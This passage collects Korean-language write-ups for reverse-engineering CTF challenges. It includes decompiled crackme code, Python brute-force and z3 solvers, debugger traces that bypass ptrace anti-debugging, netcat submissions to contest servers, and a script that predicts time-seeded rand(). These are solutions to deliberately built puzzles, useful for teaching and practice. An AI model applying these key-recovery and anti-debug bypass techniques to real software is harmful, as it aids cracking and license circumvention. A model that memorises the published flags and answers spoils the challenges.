long num8 = num2 ^ num4;
int num9 = BitConverter.ToInt32(BitConverter.GetBytes(num5), 0);
int num10 = BitConverter.ToInt32(BitConverter.GetBytes(num5), 4);
int num11 = BitConverter.ToInt32(BitConverter.GetBytes(num6), 0);
int num12 = BitConverter.ToInt32(BitConverter.GetBytes(num6), 4);
num9 >>= 2;
num10 >>= 2;
num9 <<= 1;
num10 <<= 1;
num12 = num9 << 1;
num11 >>= 2;
num11 = num9 << 1;
num12 >>= 2;
num11 = num10;
num12 = num10;
num9 = ~num12;
num9 = ~num9;
byte[] bytes = BitConverter.GetBytes(num9); # num9 = num12
byte[] bytes2 = BitConverter.GetBytes(num10); # num10 = (BitConverter.ToInt32(BitConverter.GetBytes(BitConverter.ToInt64(expr_16, 0) ^ BitConverter.ToInt64(UserKey, 0)), 4)>>2) << 1
byte[] bytes3 = BitConverter.GetBytes(num11); # num11 = num10
byte[] bytes4 = BitConverter.GetBytes(num12); # num12 = num10
byte[] array = new byte[16];
for (int i = 0; i < 4; i++)
{
array[i] = bytes[i];
array[i + 4] = bytes2[i];
array[i + 8] = bytes3[i];
array[i + 12] = bytes4[i];
}
return array;
}
결국 리턴값 array에 들어갈 값은 4바이트가 연속되는 값들이 들어가게 된다.
ex>
31323334 31323334 31323334 31323334
41424344 41424344 41424344 41424344
해당 키값을 획득하기 위해 브루트포싱 진행 - 오른쪽으로 2번 시프트 연산 왼쪽으로 1번 시프트 연산
- 오른쪽 1bit는 0
- 왼쪽 1bit는 0
from Crypto.Cipher import AES
import struct
f = open("CrackMe.txt","rb")
data = f.read()
f.close()
iv = data[:16]
data = data[16:]
for i in range(0x10000000,0x80000000,2):
key = struct.pack('>I',i)
aes = AES.new(key*4, AES.MODE_CBC, iv)
dec = aes.decrypt(data)
if "Volga" in str(dec):
print(key)
print(dec)
break
[2018_Xiomara] [REV] Fortune Jack¶
문제 내용¶
If your smartphone gets connected to a VPN, you feel like you won a lucky draw.
Lucky_Drawer.exe
문제 풀이¶
실행 시 로또같은 화면이 나오며, Generate 버튼 클릭 시 가운데 숫자가 변경되며 "Sorry You are Not So Lucky :( OH!" 메시지 출력 ilspy로 디컴파일한 뒤, 출력되는 문자열을 검색하면 다음 코드 부분을 확인할 수 있음.
// XiomaraChallenge.Form1
private void checkflag(int key)
{
StringBuilder stringBuilder = new StringBuilder();
string str = "xiomara{";
string text = "þæþÖîûìèýÖðæüÖíàíÖàýÖ³\u00a0";
string str2 = "}";
string text2 = "DB2C17E69713C8604A91AA7A51CBA041";
for (int i = 0; i < text.Length; i++)
{
stringBuilder.Append((char)((int)text[i] ^ key));
}
string text3 = stringBuilder.ToString();
string text4 = Form1.CreateMD5(text3);
bool flag = text4.Equals(text2);
if (flag)
{
this.label3.Text = str + text3 + str2;
this.label3.Visible = true;
}
bool flag2 = text4 != text2;
if (flag2)
{
this.label3.Text = "Sorry You are Not So Lucky :( OH!";
this.label3.Visible = true;
}
}
- 해당 문자열이 출력되지 않으려면 flag2가 false여야 함
- flag2가 false가 되기 위해서는 text4와 text2가 같아야 함.
- text4와 text2가 같기 위해서는 stringBuilder값을 md5한 값이 "DB2C17E69713C8604A91AA7A51CBA041"와 같아야 함.
- md5값을 확인하기 위해서는 임의값 입력을 통한 브루트포싱을 진행
#-*- coding: utf-8 -*-
from hashlib import md5
arr = u"þæþÖîûìèýÖðæüÖíàíÖàýÖ³\u00a0"
md5hash = "db2c17e69713c8604a91aa7a51cba041"
for key in range(256):
flag = ''
for b in arr:
flag += chr(key ^ ord(b))
if md5hash == md5(flag.decode("utf-8","ignore").encode('utf-8')).hexdigest():
print("xiomara{" + flag + "}")
[2018_SharifCTF 8] [REV] Crack me!¶
문제 내용¶
Find the password.
동작 화면¶
`sh
$ ./crackme
Enter Password:
aaaaaa
Try again
`
문제 풀이¶
- 패스워드 값이 참이 아닐 경우, "Try again" 메시지 출력. 해당 출력이 발생되는 함수 부분을 디버깅을 통해 확인: sub_402140에서 해당 메시지가 출력됨
- sub_402140이 받는 인자값 확인: v53
- sub_401e70에서 v53값이 저장됨 (-1|0)
- -1일 경우 "Try again"
- 0일 경우 "Correct:Flag is MD5 Of Password"
- 0이 출력되기 위해서는 Dst값이 whynxt과 일치해야함. Dst값은 입력값이 암호화된 값
[2018_SharifCTF 8] [REV] Run me¶
문제 내용¶
Run the attached file. If you can, you will capture the flag.
Note: Apply the minimum changes to make the file executable. Then, the mentioned hash function is md5. Be sure to run it on a real Windows OS (not Wine, etc.)
문제 풀이¶
정상적으로 실행되지 않는다. pefile에 Subsystem이 1일 경우 다음과 같이 실행되지 않을 수 있다. 해당 값을 바꿔보자.
NATIVE | 1 | Doesn't require a subsystem (such as a device driver) |
Windows GUI | 2 | Runs in the Windows GUI subsystem |
WINDOWS_CUI | 3 | Runs in console subsystem |
linux¶
[2015_defcamp] [REV] Entry language¶
File Type¶
파일 하나를 주네요. file로 어떤 형식인지 살펴봅니다.
$ file ./r100
./r100: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.24,
BuildID[sha1]=0x2448460f21e38ecca7809aef1b0bc7996881ec6a, stripped
stripped가 된 elf파일이기에 strace로 바이너리를 추적해봅니다.
$ strace ./r100
ptrace(PTRACE_TRACEME, 0, 0, 0) = -1 EPERM (Operation not permitted)
gdb로 디버깅 할 때 루프가 발생하도록 ptrace명령을 박아두었습니다.
IDA¶
IDA hexray decompiler로 확인해봅니다.
먼저 start 함수 부분을 찾아 rdi로 이동하는 주소를 찾습니다.
그 주소가 바로 main 입니다. F5로 pseudo 코드를 보도록 하겠습니다.
sub_4007E8 (main)¶
signed __int64 sub_4007E8()
{
signed __int64 result; // rax@3
__int64 v1; // rcx@6
char s; // [sp+0h][bp-110h]@1
__int64 v3; // [sp+108h][bp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
printf("Enter thepassword: ");
if ( fgets(&s, 255, stdin) )
{
if ( sub_4006FD(&s, 255LL) )
{
puts("Incorrectpassword!");
result = 1LL;
}
else
{
puts("Nice!");
result = 0LL;
}
}
else
{
result = 0LL;
}
v1 = *MK_FP(__FS__, 40LL) ^ v3;
return result;
}
sub_4006FD¶
Nice가 나와야 하기 때문에 아마도 sub_4006FD에서 False(0)이면 될 것입니다.
sub_4006FD 함수를 따라가 봅니다.
signed __int64 __fastcall sub_4006FD(__int64 a1)
{
signed int i; // [sp+14h] [bp-24h]@1
char v3[8]; // [sp+18h] [bp-20h]@1
char v4[8]; // [sp+20h] [bp-18h]@1
char v5[8]; // [sp+28h] [bp-10h]@1
*(_QWORD *)v3 = "Dufhbmf";
*(_QWORD *)v4 = "pG`imos";
*(_QWORD *)v5 = "ewUglpt";
for ( i = 0; i <= 11; ++i )
{
if ( *(_BYTE *)(*(_QWORD *)&v3[8 * (i % 3)] + 2 * (i / 3)) - *(_BYTE *)(i + a1) != 1 )
return 1LL;
}
return 0LL;
}
[2016_hackcon] [REV] angry reverse¶
IDA Pro에서 hex ray error가 나와 다음과 같이 진행
400646: function frame is wrong
undefine(U) 이 후 Create Function(P)을 통해 함수 재 생성
from z3 import *
s = Solver()
a1 = []
for i in range(20):
x = Int("x%d" % i)
s.add(33<=x)
s.add(x<=127)
a1.append(x)
s.add(45471*a1[15] + 30501*a1[14] + 49830*a1[13] + 48077 * a1[10] + 27551 * a1[9] + 65182 * a1[8] + 11842 * a1[7] + 63310 * a1[6] + 13898 * a1[5] + 46609 * a1[3] + 28217 * a1[2] + -11000 * a1[0] - 46627 * a1[1] - 49550 * a1[4] - 49292 * a1[11] - 1629 * a1[12] - 9266 * a1[16] - 13808 * a1[17] - 30544 * a1[18] + 13392 * a1[19] == 19595924)
s.add(15715 * a1[16] + 41563 * a1[13] + 9679 * a1[11] + 42568 * a1[10] + 24678 * a1[9] + 60147 * a1[5] + 31059 * a1[4] + 62618 * a1[2] + -35420 * a1[0] + 24844 * a1[1] - 452 * a1[3] - 43245 * a1[6] - 42619 * a1[7] - 58888 * a1[8] - 8787 * a1[12] - 58185 * a1[14] - 23586 * a1[15] - 24464 * a1[17] - 16170 * a1[18] - 36313 * a1[19] == -7712995)
s.add(32456 * a1[18] + 7014 * a1[17] + 51654 * a1[16] + 55556 * a1[15] + 22609 * a1[10] + 54897 * a1[8] + 36361 * a1[5] + 1311 * a1[4] + 16505 * a1[3] + 11263 * a1[0] + 33126 * a1[1] - 7230 * a1[2] - 4486 * a1[6] - 4271 * a1[7] - 56477 * a1[9] - 53613 * a1[11] - 16104 * a1[12] - 61044 * a1[13] - 9955 * a1[14] + 38682 * a1[19] == 18417153)
s.add(53957 * a1[17] + 37569 * a1[16] + 37267 * a1[11] + 56559 * a1[8] + 7143 * a1[6] + 55131 * a1[5] + 56695 * a1[2] + 1453 * a1[0] + 5833 * a1[1] - 52080 * a1[3] - 12907 * a1[4] - 440 * a1[7] - 8768 * a1[9] - 10175 * a1[10] - 41500 * a1[12] - 38023 * a1[13] - 64810 * a1[14] - 47116 * a1[15] - 1231 * a1[18] - 35323 * a1[19] == 2411816)
s.add(532 * a1[18] + 54071 * a1[14] + 52009 * a1[10] + 21318 * a1[9] + 63357 * a1[8] + 36244 * a1[6] + 17077 * a1[4] + 11149 * a1[2] + 52001 * a1[0] + 23393 * a1[1] - 52350 * a1[3] - 3329 * a1[5] - 15462 * a1[7] - 63836 * a1[11] - 47848 * a1[12] - 7827 * a1[13] - 61128 * a1[15] - 6136 * a1[16] - 26085 * a1[17] + 18615 * a1[19]== 1410363)
s.add(29456 * a1[17] + 26894 * a1[16] + 2880 * a1[13] + 49930 * a1[12] + 37650 * a1[11] + 15331 * a1[6] + 43713 * a1[4] + 27438 * a1[2] + 61062 * a1[0] - 61196 * a1[1] - 53701 * a1[3] - 46647 * a1[5] - 40318 * a1[7] - 11339 * a1[8] - 30543 * a1[9] - 8872 * a1[10] - 19921 * a1[14] - 43687 * a1[15] - 17471 * a1[18] - 9958 * a1[19] == -5694468)
s.add( 12461 * a1[18] + 65022 * a1[17] + 47163 * a1[16] + 34096 * a1[4] + 15247 * a1[2] + 25773 * a1[0] + 11963 * a1[1] - 25741 * a1[3] - 49408 * a1[5] - 13033 * a1[6] - 21326 * a1[7] - 63232 * a1[8] - 3411 * a1[9] - 28620 * a1[10] - 12040 * a1[11] - 60222 * a1[12] - 46405 * a1[13] - 45780 * a1[14] - 38327 * a1[15] + 18881 * a1[19] == -11396530)
s.add(6326 * a1[16] + 28293 * a1[14] + 28675 * a1[11] + 12861 * a1[9] + 28372 * a1[4] + -9543 * a1[0] - 5154 * a1[1] - 54004 * a1[2] - 2642 * a1[3] - 46192 * a1[5] - 63583 * a1[6] - 33961 * a1[7] - 57733 * a1[8] - 46651 * a1[10] - 64514 * a1[12] - 33301 * a1[13] - 5465 * a1[15] - 26160 * a1[17] - 2122 * a1[18] + 33147 * a1[19] == -26341235)
s.add(23971 * a1[12] + 30329 * a1[10] + 34395 * a1[5] + 5517 * a1[3] + -28701 * a1[0] - 10703 * a1[1] - 27619 * a1[2] - 16331 * a1[4] - 8148 * a1[6] - 59420 * a1[7] - 42656 * a1[8] - 28243 * a1[9] - 18788 * a1[11] - 52430 * a1[13] - 52377 * a1[14] - 21498 * a1[15] - 2926 * a1[16] - 183 * a1[17] - 4660 * a1[18] + 49016 * a1[19] == -15360682)
s.add(10915 * a1[18] + 64416 * a1[17] + 51805 * a1[16] + 2544 * a1[14] + 22817 * a1[13] + 7099 * a1[12] + 63464 * a1[10] + 23276 * a1[9] + 53423 * a1[7] + 37222 * a1[6] + 32102 * a1[3] + 2612 * a1[2] + 62962 * a1[0] - 37744 * a1[1] - 36658 * a1[4] - 41772 * a1[5] - 16747 * a1[8] - 11898 * a1[11] - 55611 * a1[15] + 8479 * a1[19] == 24893817)
s.add(23945 * a1[18] + 9685 * a1[17] + 54267 * a1[16] + 1887 * a1[8] + 13573 * a1[4] + 31962 * a1[2] + 64729 * a1[0] + 4242 * a1[1] - 26135 * a1[3] - 28884 * a1[5] - 43353 * a1[6] - 22976 * a1[7] - 15302 * a1[9] - 33386 * a1[10] - 17807 * a1[11] - 27557 * a1[12] - 33154 * a1[13] - 53682 * a1[14] - 63448 * a1[15] - 31467 * a1[19] == -17431183)
s.add(46569 * a1[15] + 24947 * a1[14] + 22850 * a1[13] + 41728 * a1[12] + 1514 * a1[10] + 26166 * a1[9] + 49910 * a1[8] + 4730 * a1[6] + 11428 * a1[5] + 40496 * a1[2] + -32890 * a1[0] - 44062 * a1[1] - 29569 * a1[3] - 59223 * a1[4] - 33014 * a1[7] - 63540 * a1[11] - 21475 * a1[16] - 59868 * a1[17] - 63808 * a1[18] - 42006 * a1[19] == -19435013)
s.add(50245 * a1[17] + 25956 * a1[15] + 37474 * a1[12] + 59408 * a1[11] + 15266 * a1[10] + 1838 * a1[8] + 27458 * a1[7] + 14081 * a1[6] + 31108 * a1[0] - 5734 * a1[1] - 2969 * a1[2] - 38318 * a1[3] - 4302 * a1[4] - 5082 * a1[5] - 4607 * a1[9] - 42 * a1[13] - 54274 * a1[14] - 33513 * a1[16] - 36281 * a1[18] + 60905 * a1[19] == 19018520)
s.add(64158 * a1[18] + 31457 * a1[16] + 12412 * a1[14] + 11879 * a1[12] + 14242 * a1[11] + 5359 * a1[9] + 45380 * a1[2] + -26727 * a1[0] - 36498 * a1[1] - 25278 * a1[3] - 65469 * a1[4] - 63411 * a1[5] - 11827 * a1[6] - 33194 * a1[7] - 54207 * a1[8] - 47523 * a1[10] - 22348 * a1[13] - 17269 * a1[15] - 51301 * a1[17] - 39008 * a1[19] == -28544240)
s.add(42610 * a1[18] + 39139 * a1[16] + 37183 * a1[13] + 18068 * a1[11] + 36118 * a1[8] + 30807 * a1[7] + 11542 * a1[3] + 16698 * a1[0] + 9823 * a1[1] - 48029 * a1[2] - 57964 * a1[4] - 58848 * a1[5] - 43774 * a1[6] - 14155 * a1[9] - 15822 * a1[10] - 52308 * a1[12] - 38048 * a1[14] - 65437 * a1[15] - 29733 * a1[17] + 16964 * a1[19] == -11996652)
s.add(18750 * a1[18] + 61022 * a1[17] + 19853 * a1[16] + 14131 * a1[15] + 8163 * a1[13] + 56996 * a1[10] + 15502 * a1[7] + 22717 * a1[5] + 4683 * a1[4] + 56463 * a1[3] + 64704 * a1[2] + 17527 * a1[0] - 46323 * a1[1] - 63925 * a1[6] - 53380 * a1[8] - 65168 * a1[9] - 47740 * a1[11] - 26515 * a1[12] - 3864 * a1[14] + 2263 * a1[19] == 7830991)
s.add(21029 * a1[17] + 52828 * a1[14] + 46370 * a1[11] + 35647 * a1[10] + 64417 * a1[7] + 30063 * a1[4] + 15366 * a1[2] + -40635 * a1[0] + 58751 * a1[1] - 14997 * a1[3] - 27745 * a1[5] - 51122 * a1[6] - 15238 * a1[8] - 39488 * a1[9] - 47746 * a1[12] - 34066 * a1[13] - 45011 * a1[15] - 42181 * a1[16] - 34843 * a1[18] + 35777 * a1[19] == -694714)
s.add(7560 * a1[18] + 3710 * a1[16] + 46337 * a1[13] + 40308 * a1[11] + 20737 * a1[6] + 48502 * a1[5] + 25796 * a1[3] + 52737 * a1[2] + -10871 * a1[0] + 52804 * a1[1] - 42474 * a1[4] - 9473 * a1[7] - 55955 * a1[8] - 34929 * a1[9] - 58827 * a1[10] - 18550 * a1[12] - 17349 * a1[14] - 47215 * a1[15] - 52355 * a1[17] + 50743 * a1[19] == -4772683)
s.add(11292 * a1[18] + 22114 * a1[16] + 54053 * a1[12] + 19948 * a1[11] + 11 * a1[10] + 10039 * a1[9] + 19992 * a1[8] + 51167 * a1[7] + 39900 * a1[6] + 46510 * a1[5] + 55961 * a1[4] + 41846 * a1[2] + 7839 * a1[0] + 26505 * a1[1] - 3704 * a1[3] - 44936 * a1[13] - 23510 * a1[14] - 12555 * a1[15] - 60517 * a1[17] - 63711 * a1[19] == 14147533)
s.add(19059 * a1[16] + 5795 * a1[14] + 41600 * a1[13] + 1120 * a1[12] + 11816 * a1[11] + 38904 * a1[10] + 40862 * a1[8] + 8579 * a1[3] + -9187 * a1[0] + 905 * a1[1] - 9209 * a1[2] - 20023 * a1[4] - 26790 * a1[5] - 31881 * a1[6] - 53344 * a1[7] - 24334 * a1[9] - 49814 * a1[15] - 24931 * a1[17] - 16320 * a1[18] - 23459 * a1[19]== -14915502)
while s.check()==sat:
print s.model()
'''
x11 = 89,
x0 = 72,
x9 = 86,
x13 = 48,
x16 = 103,
x17 = 114,
x8 = 86,
x14 = 52,
x2 = 67,
x10 = 104,
x1 = 65,
x6 = 78,
x18 = 89,
x3 = 75,
x12 = 83,
x15 = 110,
x19 = 125,
x4 = 67,
x5 = 79,
x7 = 123
'''
[2017_Inc0gnito] [REV] leon¶
문제내용¶
Please.. come.. Service available at: Here Source code available at: Here
문제 풀이¶
strace는 애플리케이션들이 사용하는 system call과 signal 등을 추적해서 성능 저하를 일으키는 부분은 없는지, 에러가 나는 부분은 없는지를 확인하는데 사용하는 디버깅 툴이다.
strace를 통해 해당 바이너리 파일을 확인해보자.
$ strace ./leon
execve("./leon", ["./leon"], [/* 36 vars */]) = 0
brk(NULL) = 0xc72000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f07e912e000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=54768, ...}) = 0
mmap(NULL, 54768, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f07e9120000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\t\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1864888, ...}) = 0
mmap(NULL, 3967392, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f07e8b42000
mprotect(0x7f07e8d01000, 2097152, PROT_NONE) = 0
mmap(0x7f07e8f01000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bf000) = 0x7f07e8f01000
mmap(0x7f07e8f07000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f07e8f07000
close(3) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f07e911f000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f07e911e000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f07e911d000
arch_prctl(ARCH_SET_FS, 0x7f07e911e700) = 0
mprotect(0x7f07e8f01000, 16384, PROT_READ) = 0
mprotect(0x600000, 4096, PROT_READ) = 0
mprotect(0x7f07e9130000, 4096, PROT_READ) = 0
munmap(0x7f07e9120000, 54768) = 0
ptrace(PTRACE_TRACEME, 0, 0x1, NULL) = -1 EPERM (Operation not permitted)
exit_group(1) = ?
+++ exited with 1 +++
뭔가 파일이 존재하지 않는다고 하면서 ENOENT 에러를 뱉고, ptrace로 인해 EPERM 에러를 뱉는 것을 확인할 수 있습니다.
objdump는 GNU 바이너리 유틸리티의 일부로서, 라이브러리, 컴파일된 오브젝트 모듈, 공유 오브젝트 파일, 독립 실행파일등의 바이너리 파일들의 정보를 보여주는 프로그램이다. objdump는 ELF 파일을 어셈블리어로 보여주는 역어셈블러로 사용될 수 있다.
$ objdump -d ./leon | grep \<ptrace@plt\>
0000000000400660 <ptrace@plt>:
400818: e8 43 fe ff ff callq 400660 <ptrace@plt>
ptrace 주소를 확인하였으니, 해당 주소 이전에 브레이크를 걸어보자.
gdb-peda$ b *0x40081d
Breakpoint 1 at 0x40081d
gdb-peda$ r
Starting program: /home/joizel/leon
[----------------------------------registers-----------------------------------]
RAX: 0xffffffffffffffff
RBX: 0x0
RCX: 0x7ffff7b0adee (<ptrace+78>: cmp rax,0xfffffffffffff000)
RDX: 0xffffffffffffff98
RSI: 0x0
RDI: 0x0
RBP: 0x7fffffffe210 --> 0x4008a0 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffe1b0 --> 0x2a ('*')
RIP: 0x40081d (<main+54>: cmp rax,0xffffffffffffffff)
R8 : 0xffffffff
R9 : 0x7ffff7de7ab0 (<_dl_fini>: push rbp)
R10: 0x0
R11: 0x282
R12: 0x400680 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe2f0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x213 (CARRY parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40080e <main+39>: mov edi,0x0
0x400813 <main+44>: mov eax,0x0
0x400818 <main+49>: call 0x400660 <ptrace@plt>
=> 0x40081d <main+54>: cmp rax,0xffffffffffffffff
0x400821 <main+58>: jne 0x40082d <main+70>
0x400823 <main+60>: mov edi,0x1
0x400828 <main+65>: call 0x400670 <exit@plt>
0x40082d <main+70>: mov rdx,QWORD PTR [rip+0x20088c] # 0x6010c0 <stdin@@GLIBC_2.2.5>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe1b0 --> 0x2a ('*')
0008| 0x7fffffffe1b8 --> 0x601080 ("INC0{doesn't_seem_to_be_write_something..}")
0016| 0x7fffffffe1c0 --> 0x7fffffffe1d0 --> 0x2
0024| 0x7fffffffe1c8 --> 0x4007df (<_init_+24>: pop rbp)
0032| 0x7fffffffe1d0 --> 0x2
0040| 0x7fffffffe1d8 --> 0x4008ed (<__libc_csu_init+77>: add rbx,0x1)
0048| 0x7fffffffe1e0 --> 0xff000000
0056| 0x7fffffffe1e8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040081d in main ()
gdb-peda$
스택상에서 플래그 확인
[2017_HackCon] [REV] keygen¶
문제내용¶
This proprietary software asks for a key, can you find what it is? To get the flag send your key to
defcon.org.in:8082
eg: echo 'your_key' | nc defcon.org.in 8082
문제 풀이¶
제공해준 파일을 IDA hexray decompiler를 통해 확인해보니 다음과 같았다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s2; // ST10_8@1
unsigned __int8 *v4; // ST18_8@1
int v5; // edx@1
int v6; // edx@1
size_t v7; // rdx@1
s2 = (char *)malloc(0x3E8uLL);
scanf("%s", s2);
v4 = (unsigned __int8 *)malloc(0x3E8uLL);
v5 = strlen("firhfgferfibbqlkdfhh");
HexToBin(s2, v4, v5);
v6 = strlen("firhfgferfibbqlkdfhh");
rot13(v4, s2, v6);
v7 = strlen("firhfgferfibbqlkdfhh");
if ( !strncmp("firhfgferfibbqlkdfhh", s2, v7) )
puts("Match");
else
puts("Nope");
return 0;
}
입력한 값에 HexToBin과 rot13을 한 값이 "firhfgferfibbqlkdfhh"과 일치하면 Match를 출력한다. "firhfgferfibbqlkdfhh"를 rot13을 한 후 BinToHex를 하면 값이 다음과 같다.
"73766575737473726573766f6f64797871737575"
해당 값을 보내고 nc로 응답을 기다리면 플래그를 획득할 수 있다.
$ (python -c 'print "73766575737473726573766f6f64797871737575"'|cat -)|nc defcon.org.in 8082
[2017_HackCon] [REV] keygen-2¶
문제내용¶
This is the continuation of Keygen, solve that first. Now make a proper keygen.
nc defcon.org.in 8083
문제 풀이¶
keygen과 문제는 동일하나 문자열을 10번 보내라고 한다. 그냥 거져 주는 보너스 문제인거 같다.
"73766575737473726573766f6f64797871737575"
해당 값을 10번 보내고 nc로 응답을 기다리면 플래그를 획득할 수 있다.
$ (python -c 'print "73766575737473726573766f6f64797871737575\n"*10'|cat -)|nc defcon.org.in 8083
[2018_AceBear Security Contest] [REV] secure login¶
문제내용¶
Please run solution using ubuntu 16.04 Time of server is UTC+000 Service: nc securelogin.acebear.site 5001
문제 풀이¶
먼저 바이너리 파일을 리눅스에서 실행해보면 다음과 같다.
$ ./secure_login
**************************Welcome to secure login**************************
* *
*************************Challenge Created By CNV**************************
* Team: AceBear *
* My blog: https://chung96vn.blogspot.com/ *
***************************************************************************
Current time: Tue Jan 30 20:42:24 2018
Give me your name:
Welcome:
Gime me your password:
Generated password:
$
name과 password를 입력값으로 하여 일치여부를 확인하는 문제이다.
IDA hexray decompiler¶
제공해준 파일의 코드 중 패스워드를 암호화 하는 부분의 코드는 다음과 같았다. 패스워드 암호화 시 rand함수를 사용한다.
void *__cdecl sub_8048950(int a1)
{
__int16 v1; // ST24_2@5
__int16 v2; // ST28_2@5
__int16 v3; // ax@5
signed int i; // [sp+0h] [bp-28h]@4
int v6; // [sp+4h] [bp-24h]@4
void *s; // [sp+8h] [bp-20h]@1
char *nptr; // [sp+Ch] [bp-1Ch]@4
char *v9; // [sp+10h] [bp-18h]@4
s = malloc(0x40u);
if ( !s )
{
puts("Can not malloc!");
exit(0);
}
memset(s, 0, 0x40u);
nptr = (char *)malloc(0x10u);
v9 = (char *)malloc(0x10u);
LOWORD(v6) = 0;
for ( i = 0; i <= 15; ++i )
{
*(_DWORD *)nptr = *(_DWORD *)(4 * i + a1);
*(_DWORD *)v9 = dword_804B0C0[i];
v1 = strtoul(nptr, (char **)nptr + 2, 16);
v2 = strtoul(v9, (char **)v9 + 2, 16);
v3 = rand();
v6 = (unsigned __int16)(v2 * ((v6 ^ v1 ^ v3) + 1) + (v6 ^ v1 ^ v3));
sprintf((char *)s + 4 * i, "%04X", v6);
}
return s;
}
rand함수가 있으므로 seed가 존재하는 지 찾아보니 실행 시 Current time을 뿌려주면서 seed도 결정하는 것으로 보인다.
seed = time(0);
srand(seed);
radare2를 통한 디버깅¶
[0xf77d6a20]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
= attach 11008 11008
11008
[0xf77d6a20]> dcu main
Continue until 0x08048bc4 using 1 bpsize
hit breakpoint at: 8048bc4
기본 명령어
V + p + p (disassembly)
step into (s)
step over (S)
:px 200@[address]
for 문이 동작하는 부분을 집중적으로 디버깅하며 입력값의 변화를 확인하자. 패스워드는 입력값 "1234567890123456789012345678901234567890123456789012345678901234"을 입력하였다.
.text:08048A74 loc_8048A74:
.text:08048A74 cmp [ebp+var_28], 0Fh
.text:08048A78 jle loc_80489CB
.text:080489CB loc_80489CB:
.text:080489CB mov eax, [ebp+var_28] // i=0~15
.text:080489CE shl eax, 2 // 4*i
.text:080489D1 mov edx, eax
.text:080489D3 mov eax, [ebp+arg_0]
.text:080489D6 add eax, edx // a1[4*i]
.text:080489D8 mov edx, [eax]
.text:080489DA mov eax, [ebp+nptr]
.text:080489DD mov [eax], edx // nptr=eax
.text:080489DF mov eax, [ebp+var_28] // i=0~15
.text:080489E2 shl eax, 2 // 4*i
.text:080489E5 add eax, 804B0C0h
.text:080489EA mov edx, [eax]
.text:080489EC mov eax, [ebp+var_18]
.text:080489EF mov [eax], edx
.text:080489F1 mov eax, [ebp+nptr]
.text:080489F4 add eax, 8
.text:080489F7 sub esp, 4
.text:080489FA push 10h ; base
.text:080489FC push eax ; endptr
.text:080489FD push [ebp+nptr] ; nptr
.text:08048A00 call _strtoul
.text:08048A05 add esp, 10h
.text:08048A08 mov [ebp+var_14], eax // v1
.text:08048A0B mov eax, [ebp+var_18]
.text:08048A0E add eax, 8
.text:08048A11 sub esp, 4
.text:08048A14 push 10h ; base
.text:08048A16 push eax ; endptr
.text:08048A17 push [ebp+var_18] ; nptr
.text:08048A1A call _strtoul
.text:08048A1F add esp, 10h
.text:08048A22 mov [ebp+var_10], eax // v2
.text:08048A25 call _rand
.text:08048A2A movzx eax, ax // v3=eax
.text:08048A2D xor eax, [ebp+var_14] // v3^v1
.text:08048A30 xor eax, [ebp+var_24] // v3^v1^v6
.text:08048A33 mov [ebp+var_C], eax
.text:08048A36 mov eax, [ebp+var_C]
.text:08048A39 add eax, 1 // v3^v1^v6 + 1
.text:08048A3C imul eax, [ebp+var_10] // (v3^v1^v6 + 1) * v2
.text:08048A40 mov edx, eax
.text:08048A42 mov eax, [ebp+var_C] // (v3^v1^v6)
.text:08048A45 add eax, edx // ((v3^v1^v6 + 1) * v2) + (v3^v1^v6)
.text:08048A47 and eax, 0FFFFh // (((v3^v1^v6 + 1) * v2) + (v3^v1^v6))&0xffff
.text:08048A4C mov [ebp+var_24], eax // v6 = (((v3^v1^v6 + 1) * v2) + (v3^v1^v6))&0xffff
.text:08048A4F mov eax, [ebp+var_28]
.text:08048A52 shl eax, 2
.text:08048A55 mov edx, eax
.text:08048A57 mov eax, [ebp+s]
.text:08048A5A add eax, edx
.text:08048A5C sub esp, 4
.text:08048A5F push [ebp+var_24]
.text:08048A62 push offset format ; "%04X"
.text:08048A67 push eax ; s
.text:08048A68 call _sprintf // s[4*i]
.text:08048A6D add esp, 10h
.text:08048A70 add [ebp+var_28], 1
다음 코드를 통해 브루트포싱을 진행
from pwn import *
from ctypes import *
key = "1234567890123456789012345678901234567890123456789012345678901234"
correct = "F05664E983F54E5FA6D5D4FFC5BF930743F60D8FC2C78AFBB0AF7C82664F2043"
libc = CDLL("libc.so.6")
p=process("./secure_login")
#p=remote('securelogin.acebear.site', 5001)
seed = libc.time(0)
libc.srand(seed)
h = 0
pw = ''
